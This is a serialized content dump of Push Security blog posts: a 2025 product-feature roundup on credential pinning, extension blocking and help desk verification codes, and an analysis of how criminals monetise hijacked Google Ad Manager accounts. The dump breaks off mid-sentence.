enforcement:",{"data":99344,"marks":99345,"value":99317,"nodeType":865},{},[],{"data":99347,"content":99351,"nodeType":15311},{"target":99348},{"sys":99349},{"id":99350,"type":922,"linkType":923},"wikyVxlHwKUOKM9xo19eP",[99352],{"data":99353,"marks":99354,"value":99355,"nodeType":865},{},[],"register for MFA",{"data":99357,"marks":99358,"value":99359,"nodeType":865},{},[]," where Push detects it’s missing — again, even on unmanaged apps.",{"data":99361,"content":99362,"nodeType":866},{},[99363],{"data":99364,"marks":99365,"value":99366,"nodeType":865},{},[],"Both of these controls use in-browser banners to provide point-in-time guidance to users when they’re most likely to see it and act on it.",{"data":99368,"content":99372,"nodeType":925},{"target":99369},{"sys":99370},{"id":99371,"type":922,"linkType":923},"3XH0hnnhcZNI47PhdiD4q0",[],{"data":99374,"content":99375,"nodeType":866},{},[99376,99380,99384],{"data":99377,"marks":99378,"value":99379,"nodeType":865},{},[],"To address the pattern of adversaries moving from targeting hardened core apps such as identity providers to the likes of GitLab, Postman, Jira, and others containing valuable corporate data, we also expanded one of the Push platform’s core security controls called ",{"data":99381,"marks":99382,"value":80221,"nodeType":865},{},[99383],{"type":961},{"data":99385,"marks":99386,"value":1048,"nodeType":865},{},[],{"data":99388,"content":99389,"nodeType":866},{},[99390,99393,99397],{"data":99391,"marks":99392,"value":873,"nodeType":865},{},[],{"data":99394,"marks":99395,"value":80221,"nodeType":865},{},[99396],{"type":961},{"data":99398,"marks":99399,"value":99400,"nodeType":865},{},[]," control previously could be applied only to IdP passwords, allowing you to essentially “pin” the credential for those systems so that it could never be entered on a phishing page or reused on any other app. ",{"data":99402,"content":99403,"nodeType":866},{},[99404,99408,99417],{"data":99405,"marks":99406,"value":99407,"nodeType":865},{},[],"We expanded that control to allow you to ",{"data":99409,"content":99412,"nodeType":15311},{"target":99410},{"sys":99411},{"id":80023,"type":922,"linkType":923},[99413],{"data":99414,"marks":99415,"value":99416,"nodeType":865},{},[],"protect passwords on any valuable app",{"data":99418,"marks":99419,"value":99420,"nodeType":865},{},[],", preventing account takeover through phished creds and reducing the blast radius of attacks when a compromised account has been reusing passwords on multiple applications.",{"data":99422,"content":99426,"nodeType":925},{"target":99423},{"sys":99424},{"id":99425,"type":922,"linkType":923},"74l82HIeaumFX4u9AMjj79",[],{"data":99428,"content":99429,"nodeType":866},{},[99430,99434,99444],{"data":99431,"marks":99432,"value":99433,"nodeType":865},{},[],"Push also now gives you visibility into where employees are ",{"data":99435,"content":99439,"nodeType":15311},{"target":99436},{"sys":99437},{"id":99438,"type":922,"linkType":923},"7uLeQ9twNl5RyNaWkkJNjd",[99440],{"data":99441,"marks":99442,"value":99443,"nodeType":865},{},[],"syncing their corporate browser profile",{"data":99445,"marks":99446,"value":99447,"nodeType":865},{},[]," to a personal profile, raising the risk of syncing corporate passwords to unmanaged devices — another vector for credential harvesting if those endpoints become compromised.",{"data":99449,"content":99450,"nodeType":866},{},[99451],{"data":99452,"marks":99453,"value":99454,"nodeType":865},{},[],"And of course, underlying all these features is the foundational visibility of all your apps, accounts, account vulnerabilities, and login methods that Push provides.",{"data":99456,"content":99457,"nodeType":953},{},[],{"data":99459,"content":99460,"nodeType":963},{},[99461],{"data":99462,"marks":99463,"value":99464,"nodeType":865},{},[],"Blocking malicious browser extensions",{"data":99466,"content":99467,"nodeType":1458},{},[99468],{"data":99469,"marks":99470,"value":98659,"nodeType":865},{},[],{"data":99472,"content":99473,"nodeType":866},{},[99474],{"data":99475,"marks":99476,"value":99477,"nodeType":865},{},[],"Getting visibility and control over all the browser extensions used across your workforce has long been a thorny problem for security teams. ",{"data":99479,"content":99480,"nodeType":866},{},[99481],{"data":99482,"marks":99483,"value":99484,"nodeType":865},{},[],"The possible solutions haven’t been great, either. Teams could either apply a blunt-force block for most or all extensions, or spend painstaking time trying to understand what was installed, why, and by whom, across all the browsers in the environment.",{"data":99486,"content":99487,"nodeType":866},{},[99488,99492,99502],{"data":99489,"marks":99490,"value":99491,"nodeType":865},{},[],"The urgency of solving this problem increased for many organizations this year after the December 2024 compromise of at least 35 Google Chrome extensions in a ",{"data":99493,"content":99497,"nodeType":15311},{"target":99494},{"sys":99495},{"id":99496,"type":922,"linkType":923},"6sprbTRpfnTJsP3mGR2gKa",[99498],{"data":99499,"marks":99500,"value":99501,"nodeType":865},{},[],"campaign targeting browser extension developers",{"data":99503,"marks":99504,"value":99505,"nodeType":865},{},[],". Cyberhaven’s extension was one of these, and the campaign inherited their name.",{"data":99507,"content":99508,"nodeType":1458},{},[99509],{"data":99510,"marks":99511,"value":98850,"nodeType":865},{},[],{"data":99513,"content":99514,"nodeType":866},{},[99515,99519,99528],{"data":99516,"marks":99517,"value":99518,"nodeType":865},{},[],"With Push, you can now get visibility across ",{"data":99520,"content":99523,"nodeType":15311},{"target":99521},{"sys":99522},{"id":80107,"type":922,"linkType":923},[99524],{"data":99525,"marks":99526,"value":99527,"nodeType":865},{},[],"all the browser extensions",{"data":99529,"marks":99530,"value":99531,"nodeType":865},{},[]," installed on employee browsers in your environment, and block the ones you don’t want.",{"data":99533,"content":99536,"nodeType":925},{"target":99534},{"sys":99535},{"id":91345,"type":922,"linkType":923},[],{"data":99538,"content":99539,"nodeType":866},{},[99540],{"data":99541,"marks":99542,"value":99543,"nodeType":865},{},[],"You can also:",{"data":99545,"content":99546,"nodeType":1049},{},[99547,99557,99567],{"data":99548,"content":99549,"nodeType":1003},{},[99550],{"data":99551,"content":99552,"nodeType":866},{},[99553],{"data":99554,"marks":99555,"value":99556,"nodeType":865},{},[],"Review extensions with risky permissions.",{"data":99558,"content":99559,"nodeType":1003},{},[99560],{"data":99561,"content":99562,"nodeType":866},{},[99563],{"data":99564,"marks":99565,"value":99566,"nodeType":865},{},[],"Identify extensions with potentially suspicious installation methods, such as sideloaded or manually installed.",{"data":99568,"content":99569,"nodeType":1003},{},[99570],{"data":99571,"content":99572,"nodeType":866},{},[99573],{"data":99574,"marks":99575,"value":99576,"nodeType":865},{},[],"Block extensions based on user groups and browser profiles (e.g. profiles logged in with a company domain).",{"data":99578,"content":99579,"nodeType":866},{},[99580,99584,99592],{"data":99581,"marks":99582,"value":99583,"nodeType":865},{},[],"Learn more about extension visibility and management in our ",{"data":99585,"content":99588,"nodeType":15311},{"target":99586},{"sys":99587},{"id":80107,"type":922,"linkType":923},[99589],{"data":99590,"marks":99591,"value":99163,"nodeType":865},{},[],{"data":99593,"marks":99594,"value":1048,"nodeType":865},{},[],{"data":99596,"content":99597,"nodeType":953},{},[],{"data":99599,"content":99600,"nodeType":963},{},[99601],{"data":99602,"marks":99603,"value":99604,"nodeType":865},{},[],"Adding a layer of protection against help desk scams",{"data":99606,"content":99607,"nodeType":1458},{},[99608],{"data":99609,"marks":99610,"value":98659,"nodeType":865},{},[],{"data":99612,"content":99613,"nodeType":866},{},[99614],{"data":99615,"marks":99616,"value":99617,"nodeType":865},{},[],"Finally, another big theme in this year’s TTPs was the use of help desk social engineering to compromise organizations. ",{"data":99619,"content":99620,"nodeType":866},{},[99621,99625,99634],{"data":99622,"marks":99623,"value":99624,"nodeType":865},{},[],"Attackers like ",{"data":99626,"content":99630,"nodeType":15311},{"target":99627},{"sys":99628},{"id":99629,"type":922,"linkType":923},"wgpdyHDn9NcpIJNr7jnFp",[99631],{"data":99632,"marks":99633,"value":8764,"nodeType":865},{},[],{"data":99635,"marks":99636,"value":99637,"nodeType":865},{},[]," — now known as part of the evolving cybercriminal group Scattered Lapsus$ Hunters — have targeted organizations including MGM Resorts and Marks & Spencer by convincing help desk staff to help them bypass MFA or reset credentials for accounts they then use to access corporate systems. ",{"data":99639,"content":99640,"nodeType":1458},{},[99641],{"data":99642,"marks":99643,"value":98850,"nodeType":865},{},[],{"data":99645,"content":99646,"nodeType":866},{},[99647,99651,99656],{"data":99648,"marks":99649,"value":99650,"nodeType":865},{},[],"To provide an additional layer of security when verifying employee identities during help desk interactions, Push introduced ",{"data":99652,"marks":99653,"value":99655,"nodeType":865},{},[99654],{"type":961},"Employee verification codes",{"data":99657,"marks":99658,"value":1048,"nodeType":865},{},[],{"data":99660,"content":99664,"nodeType":925},{"target":99661},{"sys":99662},{"id":99663,"type":922,"linkType":923},"19Baqh5QwbonzsR0EcaDS8",[],{"data":99666,"content":99667,"nodeType":866},{},[99668],{"data":99669,"marks":99670,"value":99671,"nodeType":865},{},[],"These are a rotating 6-digit verification code accessible via the Push Security extension dropdown. When an employee contacts your help desk, staff can use this code to help verify their identity before performing any sensitive account changes.",{"data":99673,"content":99674,"nodeType":866},{},[99675],{"data":99676,"marks":99677,"value":99678,"nodeType":865},{},[],"Employee verification codes are lightweight, rotate every 24 hours, and don’t require any additional apps or devices.",{"data":99680,"content":99681,"nodeType":866},{},[99682,99686,99695],{"data":99683,"marks":99684,"value":99685,"nodeType":865},{},[],"Learn more about verification codes in our ",{"data":99687,"content":99691,"nodeType":15311},{"target":99688},{"sys":99689},{"id":99690,"type":922,"linkType":923},"4rLP8wr6HnvBG2OzqYYKpF",[99692],{"data":99693,"marks":99694,"value":98996,"nodeType":865},{},[],{"data":99696,"marks":99697,"value":1048,"nodeType":865},{},[],{"data":99699,"content":99700,"nodeType":953},{},[],{"data":99702,"content":99703,"nodeType":963},{},[99704],{"data":99705,"marks":99706,"value":1704,"nodeType":865},{},[],{"data":99708,"content":99709,"nodeType":866},{},[99710],{"data":99711,"marks":99712,"value":99713,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. ",{"data":99715,"content":99716,"nodeType":866},{},[99717],{"data":99718,"marks":99719,"value":99720,"nodeType":865},{},[],"You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":99722,"content":99723,"nodeType":866},{},[99724,99728,99734,99738,99744],{"data":99725,"marks":99726,"value":99727,"nodeType":865},{},[],"To learn more about Push, check out our latest ",{"data":99729,"content":99730,"nodeType":882},{"uri":80479},[99731],{"data":99732,"marks":99733,"value":80484,"nodeType":865},{},[],{"data":99735,"marks":99736,"value":99737,"nodeType":865},{},[]," or book some time with one of our team for a ",{"data":99739,"content":99740,"nodeType":882},{"uri":16213},[99741],{"data":99742,"marks":99743,"value":1734,"nodeType":865},{},[],{"data":99745,"marks":99746,"value":1048,"nodeType":865},{},[],"Taking the fight to attackers: Push’s top features of 2025","Here’s how real-world attacks and our own R&D informed what we built for Push customers over the last year.","2025-12-17T00:00:00.000Z","taking-the-fight-to-attackers-top-features-of-2025",{"items":99752},[99753,99755],{"sys":99754,"name":342},{"id":8410},{"sys":99756,"name":11426},{"id":11425},{"items":99758},[99759],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":99760},{"url":3778},"blog/consentfix-debrief",{"json":99763},{"data":99764,"content":99765,"nodeType":1739},{},[99766],{"data":99767,"content":99768,"nodeType":866},{},[99769],{"data":99770,"marks":99771,"value":99772,"nodeType":865},{},[],"In December, the Push Security research team discovered and blocked a brand new attack technique that we coined ConsentFix. We’re sharing some new insights on the campaign and pulling together some of the top recommendations and resources from across the community.",{"id":93017,"publishedAt":99774},"2026-08-12T11:53:17.990Z",{"items":99776},[99777,99779],{"sys":99778,"name":342},{"id":8410},{"sys":99780,"name":11426},{"id":11425},{"items":99782},[99783,99785,99787,99789,99791,99793,99795,99797,99799,99801],{"sys":99784,"name":279,"slug":280,"tier":31},{"id":276},{"sys":99786,"name":413,"slug":414,"tier":31},{"id":410},{"sys":99788,"name":342,"slug":343,"tier":31},{"id":339},{"sys":99790,"name":642,"slug":643,"tier":31},{"id":639},{"sys":99792,"name":315,"slug":316,"tier":45},{"id":312},{"sys":99794,"name":484,"slug":485,"tier":45},{"id":481},{"sys":99796,"name":466,"slug":467,"tier":45},{"id":463},{"sys":99798,"name":607,"slug":608,"tier":45},{"id":604},{"sys":99800,"name":493,"slug":494,"tier":45},{"id":490},{"sys":99802,"name":351,"slug":352,"tier":45},{"id":348},"TUFybvHb1NoaG6z8j3cuNnEKnFo_nsXmfjWUc_b4rt0",{"id":99805,"title":60294,"authorsCollection":99806,"content":99811,"extension":228,"faqItemsCollection":100435,"faqTitle":59,"featured":6,"hashTags":59,"meta":100437,"metaTitle":100438,"ogImage":59,"postType":21460,"publishedDate":90538,"relatedBlogPostsCollection":100439,"slug":60295,"stem":102492,"subtitle":59,"summary":102493,"synopsis":102503,"sys":102504,"tagsCollection":102506,"topicsCollection":102512,"__hash__":102540},"blog/blog/cyber-criminal-ecosystem-analysis.json",{"items":99807},[99808],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":99809,"profilePicture":99810},[17536],{"url":11434},{"json":99812,"links":100282},{"data":99813,"content":99814,"nodeType":1739},{},[99815,99822,99828,99890,99893,99900,99906,99912,99919,99926,99929,99936,99951,99957,99964,100030,100037,100043,100050,100056,100059,100067,100074,100081,100088,100095,100101,100104,100112,100119,100126,100133,100162,100169,100175,100178,100186,100193,100200,100207,100210,100218,100225,100232,100238,100244,100271,100276],{"data":99816,"content":99817,"nodeType":866},{},[99818],{"data":99819,"marks":99820,"value":99821,"nodeType":865},{},[],"In recent months, we’ve seen a significant increase in the number of attacks targeting ad manager accounts. These attacks range from phishing campaigns against marketing professionals to malicious sites impersonating legitimate marketing tools — ultimately serving up an Attacker-in-the-Middle (AITM) phishing page designed to steal the victim’s Google account. ",{"data":99823,"content":99824,"nodeType":866},{},[99825],{"data":99826,"marks":99827,"value":89957,"nodeType":865},{},[],{"data":99829,"content":99830,"nodeType":1049},{},[99831,99850,99869],{"data":99832,"content":99833,"nodeType":1003},{},[99834],{"data":99835,"content":99836,"nodeType":866},{},[99837,99840,99847],{"data":99838,"marks":99839,"value":89970,"nodeType":865},{},[],{"data":99841,"content":99842,"nodeType":882},{"uri":89973},[99843],{"data":99844,"marks":99845,"value":89979,"nodeType":865},{},[99846],{"type":997},{"data":99848,"marks":99849,"value":89983,"nodeType":865},{},[],{"data":99851,"content":99852,"nodeType":1003},{},[99853],{"data":99854,"content":99855,"nodeType":866},{},[99856,99859,99866],{"data":99857,"marks":99858,"value":89993,"nodeType":865},{},[],{"data":99860,"content":99861,"nodeType":882},{"uri":89996},[99862],{"data":99863,"marks":99864,"value":90002,"nodeType":865},{},[99865],{"type":997},{"data":99867,"marks":99868,"value":90006,"nodeType":865},{},[],{"data":99870,"content":99871,"nodeType":1003},{},[99872],{"data":99873,"content":99874,"nodeType":866},{},[99875,99879,99887],{"data":99876,"marks":99877,"value":99878,"nodeType":865},{},[],"A continuation of the Google Ads malvertising campaign, ",{"data":99880,"content":99882,"nodeType":882},{"uri":99881},"https://pushsecurity.com/blog/google-search-malvertising-campaign-continues-now-impersonating-ahrefs",[99883],{"data":99884,"marks":99885,"value":99886,"nodeType":865},{},[],"this time impersonating Ahrefs",{"data":99888,"marks":99889,"value":22525,"nodeType":865},{},[],{"data":99891,"content":99892,"nodeType":953},{},[],{"data":99894,"content":99895,"nodeType":963},{},[99896],{"data":99897,"marks":99898,"value":90128,"nodeType":865},{},[99899],{"type":961},{"data":99901,"content":99902,"nodeType":866},{},[99903],{"data":99904,"marks":99905,"value":90135,"nodeType":865},{},[],{"data":99907,"content":99908,"nodeType":866},{},[99909],{"data":99910,"marks":99911,"value":90142,"nodeType":865},{},[],{"data":99913,"content":99914,"nodeType":866},{},[99915],{"data":99916,"marks":99917,"value":99918,"nodeType":865},{},[],"A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.",{"data":99920,"content":99921,"nodeType":866},{},[99922],{"data":99923,"marks":99924,"value":99925,"nodeType":865},{},[],"Here’s how attackers can profit from a compromised ad manager account — and how it impacts your business. ",{"data":99927,"content":99928,"nodeType":953},{},[],{"data":99930,"content":99931,"nodeType":1458},{},[99932],{"data":99933,"marks":99934,"value":440,"nodeType":865},{},[99935],{"type":961},{"data":99937,"content":99938,"nodeType":866},{},[99939,99943,99947],{"data":99940,"marks":99941,"value":99942,"nodeType":865},{},[],"Arguably the most dangerous use of a compromised ad manager account is to conduct ",{"data":99944,"marks":99945,"value":441,"nodeType":865},{},[99946],{"type":961},{"data":99948,"marks":99949,"value":99950,"nodeType":865},{},[]," – inserting malicious ads or redirects in place of legitimate advertisements. ",{"data":99952,"content":99953,"nodeType":866},{},[99954],{"data":99955,"marks":99956,"value":90198,"nodeType":865},{},[],{"data":99958,"content":99959,"nodeType":866},{},[99960],{"data":99961,"marks":99962,"value":99963,"nodeType":865},{},[],"The goal here is usually to compromise more devices and accounts, via:",{"data":99965,"content":99966,"nodeType":1049},{},[99967,99977,99987,100020],{"data":99968,"content":99969,"nodeType":1003},{},[99970],{"data":99971,"content":99972,"nodeType":866},{},[99973],{"data":99974,"marks":99975,"value":99976,"nodeType":865},{},[],"AITM phishing sites looking to hijack sessions on valuable accounts — usually enterprise SSO accounts such as Google or Microsoft, but also many high-value SaaS services, as well as logins for banking and cryptocurrency sites.. ",{"data":99978,"content":99979,"nodeType":1003},{},[99980],{"data":99981,"content":99982,"nodeType":866},{},[99983],{"data":99984,"marks":99985,"value":99986,"nodeType":865},{},[],"Deploying infostealer malware, harvesting credentials and user sessions from the compromised device to enable broad access to apps via compromised accounts. ",{"data":99988,"content":99989,"nodeType":1003},{},[99990],{"data":99991,"content":99992,"nodeType":866},{},[99993,99997,100004,100008,100016],{"data":99994,"marks":99995,"value":99996,"nodeType":865},{},[],"Running ",{"data":99998,"content":99999,"nodeType":882},{"uri":38372},[100000],{"data":100001,"marks":100002,"value":315,"nodeType":865},{},[100003],{"type":997},{"data":100005,"marks":100006,"value":100007,"nodeType":865},{},[],"-style social engineering scams prompting users to perform a malicious action (typically running code on their device, although a new browser-native version of this attack in the form of ",{"data":100009,"content":100010,"nodeType":882},{"uri":11102},[100011],{"data":100012,"marks":100013,"value":100015,"nodeType":865},{},[100014],{"type":997},"ConsentFix ",{"data":100017,"marks":100018,"value":100019,"nodeType":865},{},[],"was recently discovered by Push researchers).",{"data":100021,"content":100022,"nodeType":1003},{},[100023],{"data":100024,"content":100025,"nodeType":866},{},[100026],{"data":100027,"marks":100028,"value":100029,"nodeType":865},{},[],"Infecting machines with malicious software to siphon compute power for cryptomining or adding the device to a botnet used in DDOS attacks. ",{"data":100031,"content":100032,"nodeType":866},{},[100033],{"data":100034,"marks":100035,"value":100036,"nodeType":865},{},[],"Harvested data can be used by the attacker directly to conduct cyber attacks, but is more commonly sold on to other criminals further up the supply chain. So, attackers are using compromised ad accounts, to take over more accounts used to manage ads, to take over even more accounts… You can see how this can quickly snowball into something hugely profitable for attackers. ",{"data":100038,"content":100042,"nodeType":925},{"target":100039},{"sys":100040},{"id":100041,"type":922,"linkType":923},"1Ji0oUqCZvgmQIT2VWNgjQ",[],{"data":100044,"content":100045,"nodeType":866},{},[100046],{"data":100047,"marks":100048,"value":100049,"nodeType":865},{},[],"Malvertising scams don’t just target ad manager accounts either. They can be found targeting all manner of sites. But all malvertising scams are underpinned by ad spending — so it makes sense that attackers are looking to harvest account access and make use of the pre-allocated marketing spend of their victims. ",{"data":100051,"content":100055,"nodeType":925},{"target":100052},{"sys":100053},{"id":100054,"type":922,"linkType":923},"7qpSbkJxLeo7zD400cvQyv",[],{"data":100057,"content":100058,"nodeType":953},{},[],{"data":100060,"content":100061,"nodeType":1458},{},[100062],{"data":100063,"marks":100064,"value":100066,"nodeType":865},{},[100065],{"type":961},"Ad fraud",{"data":100068,"content":100069,"nodeType":866},{},[100070],{"data":100071,"marks":100072,"value":100073,"nodeType":865},{},[],"One of the most common motives for hacking ad accounts is ad fraud – generating fake ad impressions or clicks to illicitly collect advertising revenue. By hijacking a Google Ad Manager account, criminals can direct the account’s ad spend to their own fraudulent web pages.",{"data":100075,"content":100076,"nodeType":866},{},[100077],{"data":100078,"marks":100079,"value":100080,"nodeType":865},{},[],"When a Google Ads/Ad Manager account is compromised, attackers can create new campaigns or modify existing ones. By directing traffic to websites the criminals control (often low quality sites made specifically for advertising) the victim’s ad budget can be funnelled into the attackers’ pockets as ad revenue.",{"data":100082,"content":100083,"nodeType":866},{},[100084],{"data":100085,"marks":100086,"value":100087,"nodeType":865},{},[],"The hijacked ad accounts provide a means to introduce fraudulent traffic into legitimate ad ecosystems, often escaping immediate detection thanks to the account’s established trust or high spending thresholds. For example, a compromised account with a large budget can run thousands of ads pointing to fraudulent sites before being flagged. ",{"data":100089,"content":100090,"nodeType":866},{},[100091],{"data":100092,"marks":100093,"value":100094,"nodeType":865},{},[],"This is often abused as a channel for money laundering. An attacker can inject dirty money into the ad ecosystem (for example, using a compromised advertiser account’s billing) and then receive clean money out the other end (as payments to a publisher or ad partner account they control). ",{"data":100096,"content":100100,"nodeType":925},{"target":100097},{"sys":100098},{"id":100099,"type":922,"linkType":923},"21ryRzAB91llJXOVlkdiv5",[],{"data":100102,"content":100103,"nodeType":953},{},[],{"data":100105,"content":100106,"nodeType":1458},{},[100107],{"data":100108,"marks":100109,"value":100111,"nodeType":865},{},[100110],{"type":961},"Selling or sharing access with other criminal groups ",{"data":100113,"content":100114,"nodeType":866},{},[100115],{"data":100116,"marks":100117,"value":100118,"nodeType":865},{},[],"Stolen advertising accounts themselves have become a commodity in the underground economy. Instead of (or in addition to) exploiting the account personally, a hacker might sell access to the compromised Ad Manager account on criminal forums. ",{"data":100120,"content":100121,"nodeType":866},{},[100122],{"data":100123,"marks":100124,"value":100125,"nodeType":865},{},[],"There is strong demand for reputable ad accounts because they come with advantages: high spending limits, established credit card billing, a history of compliance (making them less likely to be flagged by Google’s fraud detection), and existing relationships with ad networks or clients. In other words, a hijacked account is a ready-made vehicle for anyone looking to run malicious ad campaigns without going through the usual vetting.",{"data":100127,"content":100128,"nodeType":866},{},[100129],{"data":100130,"marks":100131,"value":100132,"nodeType":865},{},[],"Access to a Google Ads account (especially one with a good track record or high credit threshold) can fetch a significant price in criminal markets. Compromised Google ad accounts have shown up for sale on hacker forums and darknet markets, often advertised with details like the account’s age, billing history, or spend limit. For example, a hacker on one forum might sell or rent a “2-year-old Google Ads account with $50k monthly spend history” for a price commensurate with its potential yield.",{"data":100134,"content":100135,"nodeType":866},{},[100136,100140,100149,100153,100158],{"data":100137,"marks":100138,"value":100139,"nodeType":865},{},[],"The previously mentioned ",{"data":100141,"content":100143,"nodeType":882},{"uri":100142},"https://cloud.google.com/blog/topics/threat-intelligence/vietnamese-actors-fake-job-posting-campaigns",[100144],{"data":100145,"marks":100146,"value":100148,"nodeType":865},{},[100147],{"type":997},"Vietnamese threat group",{"data":100150,"marks":100151,"value":100152,"nodeType":865},{},[]," would ",{"data":100154,"marks":100155,"value":100157,"nodeType":865},{},[100156],{"type":961},"“either sell ads to other actors, or sell the accounts themselves to other actors to monetize”",{"data":100159,"marks":100160,"value":100161,"nodeType":865},{},[],". This means an attacker could use a compromised account as a platform to sell fraudulent ad placements (e.g. “pay us and we’ll run your ads via this legitimate account for X days”). If not, they just sell the whole account login to the highest bidder.",{"data":100163,"content":100164,"nodeType":866},{},[100165],{"data":100166,"marks":100167,"value":100168,"nodeType":865},{},[],"It’s also worth noting that a Google Ad Manager account is also an enterprise SSO account that can be used to access broader Google Workspace services, and any SaaS apps accessible via SSO. ",{"data":100170,"content":100174,"nodeType":925},{"target":100171},{"sys":100172},{"id":100173,"type":922,"linkType":923},"1RrDk0VMWNGwPPEc8wIZWM",[],{"data":100176,"content":100177,"nodeType":953},{},[],{"data":100179,"content":100180,"nodeType":1458},{},[100181],{"data":100182,"marks":100183,"value":100185,"nodeType":865},{},[100184],{"type":961},"Data theft and extortion",{"data":100187,"content":100188,"nodeType":866},{},[100189],{"data":100190,"marks":100191,"value":100192,"nodeType":865},{},[],"Most ad accounts contain valuable data – like audience lists, conversion data, or payment info. Attackers could exfiltrate this data and extort the victim by threatening to leak it or sell it (though this borders on a data breach scenario, it’s another way to extort via an ad account hack, especially for large advertising agencies handling many clients’ data).",{"data":100194,"content":100195,"nodeType":866},{},[100196],{"data":100197,"marks":100198,"value":100199,"nodeType":865},{},[],"An attacker might also threaten to manipulate the account in ways that hurt the victim financially. For instance, they could create fake campaigns that burn through the budget on useless traffic (driving up costs with nothing to show, or even causing overcharges). They could also threaten to click-bomb the victim’s ads (if it’s an advertiser account) so that Google’s systems detect invalid activity and suspend the account. ",{"data":100201,"content":100202,"nodeType":866},{},[100203],{"data":100204,"marks":100205,"value":100206,"nodeType":865},{},[],"For the victim, the cost of reputational damage or lost advertising time can far exceed the ransom demand, which is why some might contemplate paying. A large brand could lose consumer confidence or partner relationships if their ads serve malware for even a short time. Agencies managing several client ad accounts could face client complaints and legal liability if an attack spreads offensive ads via their accounts – such agencies have noted the “serious financial threats” and client dissatisfaction resulting from ad account breaches.",{"data":100208,"content":100209,"nodeType":953},{},[],{"data":100211,"content":100212,"nodeType":963},{},[100213],{"data":100214,"marks":100215,"value":100217,"nodeType":865},{},[100216],{"type":961},"Conclusion",{"data":100219,"content":100220,"nodeType":866},{},[100221],{"data":100222,"marks":100223,"value":100224,"nodeType":865},{},[],"Pretty much every enterprise today advertises their services via Google ads — this makes attacks on these accounts a unanimous problem. Agencies managing numerous client accounts are put further at risk. For example, if an attacker can compromise an MCC account (used to manage several ad accounts) they get full access to the agency’s customer portfolio. ",{"data":100226,"content":100227,"nodeType":866},{},[100228],{"data":100229,"marks":100230,"value":100231,"nodeType":865},{},[],"Organisations need to be on guard against both attacks on accounts used to manage ads, and malvertising in general — which is an incredibly prevalent threat and one of the top delivery vectors for phishing attacks today. Malvertising attacks delivered over channels like Google Search are a great way to catch victims unawares while also evading typically email-based anti-phishing controls. ",{"data":100233,"content":100234,"nodeType":866},{},[100235],{"data":100236,"marks":100237,"value":90259,"nodeType":865},{},[],{"data":100239,"content":100243,"nodeType":925},{"target":100240},{"sys":100241},{"id":100242,"type":922,"linkType":923},"3VJGhlTaAAOyJckK2yUfZd",[],{"data":100245,"content":100246,"nodeType":866},{},[100247,100251,100258,100261,100268],{"data":100248,"marks":100249,"value":100250,"nodeType":865},{},[],"To learn more about how Push tackles browser-based threats, ",{"data":100252,"content":100253,"nodeType":882},{"uri":22700},[100254],{"data":100255,"marks":100256,"value":22706,"nodeType":865},{},[100257],{"type":997},{"data":100259,"marks":100260,"value":71034,"nodeType":865},{},[],{"data":100262,"content":100263,"nodeType":882},{"uri":1728},[100264],{"data":100265,"marks":100266,"value":22730,"nodeType":865},{},[100267],{"type":997},{"data":100269,"marks":100270,"value":1048,"nodeType":865},{},[],{"data":100272,"content":100275,"nodeType":925},{"target":100273},{"sys":100274},{"id":93809,"type":922,"linkType":923},[],{"data":100277,"content":100278,"nodeType":866},{},[100279],{"data":100280,"marks":100281,"value":21,"nodeType":865},{},[],{"entries":100283},{"hyperlink":100284,"inline":100285,"block":100286},[],[],[100287,100294,100308,100386,100420,100433],{"sys":100288,"__typename":1747,"title":100289,"caption":100290,"layoutMode":59,"file":100291},{"id":100041},"Propagation of malvertising","It’s easy to see how malicious ads can propagate and turn into more malicious ads, leading to more campaigns impersonating more brands, more account compromises, and so on. ",{"url":100292,"width":1759,"height":100293},"https://images.ctfassets.net/y1cdw1ablpvd/3iUNORa8hHXi68kZAsFxi8/1a742458ae768bc14a1ba1f6cf26de41/image1.png",1125,{"sys":100295,"__typename":9270,"content":100296,"name":100307,"title":59},{"id":100054},{"json":100297},{"nodeType":1739,"data":100298,"content":100299},{},[100300],{"nodeType":866,"data":100301,"content":100302},{},[100303],{"nodeType":865,"value":100304,"marks":100305,"data":100306},"Large enterprises spend vast amounts on Google Ads, often starting at $20,000+ per month, with major brands sometimes spending $40 to $50 million annually, depending heavily on their competitive industry. So, there’s a lot to play with for an attacker — and it might be some time before a discrepancy is noticed by the victim. ",[],{},"Malvertising insight box 4",{"sys":100309,"__typename":9270,"content":100310,"name":100385,"title":59},{"id":100099},{"json":100311},{"nodeType":1739,"data":100312,"content":100313},{},[100314,100342],{"nodeType":866,"data":100315,"content":100316},{},[100317,100321,100329,100333,100338],{"nodeType":865,"value":100318,"marks":100319,"data":100320},"In late 2025, agencies noticed a surge of Google Ads account takeovers where hackers ran unauthorized campaigns until budgets were exhausted. ",[],{},{"nodeType":882,"data":100322,"content":100323},{"uri":100142},[100324],{"nodeType":865,"value":100325,"marks":100326,"data":100328},"Google’s Threat Analysis Group found a cluster of Vietnamese actors",[100327],{"type":997},{},{"nodeType":865,"value":100330,"marks":100331,"data":100332}," who hijacked marketing accounts to ",[],{},{"nodeType":865,"value":100334,"marks":100335,"data":100337},"“either sell ads to other actors, or sell the accounts themselves”",[100336],{"type":961},{},{"nodeType":865,"value":100339,"marks":100340,"data":100341}," for profit. ",[],{},{"nodeType":866,"data":100343,"content":100344},{},[100345,100349,100358,100362,100371,100375,100382],{"nodeType":865,"value":100346,"marks":100347,"data":100348},"Similarly, a series of attacks on companies managing ads ",[],{},{"nodeType":882,"data":100350,"content":100352},{"uri":100351},"https://www.adexchanger.com/online-advertising/people-managing-google-ad-campaigns-are-getting-their-accounts-seized-by-scammers/",[100353],{"nodeType":865,"value":100354,"marks":100355,"data":100357},"reported that their accounts had been hacked as early as January 2025",[100356],{"type":997},{},{"nodeType":865,"value":100359,"marks":100360,"data":100361},". These attacks were linked to ",[],{},{"nodeType":882,"data":100363,"content":100365},{"uri":100364},"https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads",[100366],{"nodeType":865,"value":100367,"marks":100368,"data":100370},"South American scam operations by 